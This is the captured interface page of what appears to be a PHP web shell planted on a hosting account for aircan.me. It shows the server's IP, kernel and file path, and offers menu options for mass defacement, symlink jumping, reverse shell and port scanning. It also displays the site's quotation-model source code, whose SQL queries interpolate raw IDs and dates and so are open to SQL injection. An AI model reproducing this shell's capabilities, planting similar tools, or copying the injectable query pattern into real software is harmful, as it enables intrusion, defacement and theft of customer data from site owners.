Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
models
/
Viewing: CotizacionesModel.php
<?php class CotizacionesModel extends Query { public function __construct() { parent::__construct(); } public function getProducto($idProducto) { $sql = "SELECT p.*, m.marca FROM productos p INNER JOIN marcas m ON p.id_marca = m.id WHERE p.id = $idProducto"; return $this->select($sql); } public function registrarCotizacion( $productos, $totalNeto, $totalConImpuesto, $impuesto, $fecha, $hora, $metodo, $validez, $descuento, $moneda, $idCliente, $id_sucursal ) { $sql = "INSERT INTO cotizaciones (productos, total, totalConImpuesto, impuesto, fecha, hora, metodo, validez, descuento, moneda, id_cliente, id_sucursal) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)"; $array = array( $productos, $totalNeto, $totalConImpuesto, $impuesto, $fecha, $hora, $metodo, $validez, $descuento, $moneda, $idCliente, $id_sucursal ); return $this->insertar($sql, $array); } public function getEmpresa($id_sucursal) { $sql = "SELECT * FROM sucursales WHERE id = $id_sucursal"; return $this->select($sql); } public function getCotizacion($idCotizacion) { $sql = "SELECT ct.*, cl.identidad, cl.num_identidad, cl.nombre, cl.telefono, cl.direccion FROM cotizaciones ct INNER JOIN clientes cl ON ct.id_cliente = cl.id WHERE ct.id = $idCotizacion"; return $this->select($sql); } public function getCotizaciones($id_sucursal, $fechaInicio = null, $fechaFin = null) { $sql = "SELECT ct.*, cl.nombre FROM cotizaciones ct INNER JOIN clientes cl ON ct.id_cliente = cl.id WHERE ct.id_sucursal = $id_sucursal"; if (!empty($fechaInicio) && !empty($fechaFin)) { $sql .= " AND ct.fecha BETWEEN '$fechaInicio' AND '$fechaFin'"; } return $this->selectAll($sql); } }
Coded With 💗 by
0x6ick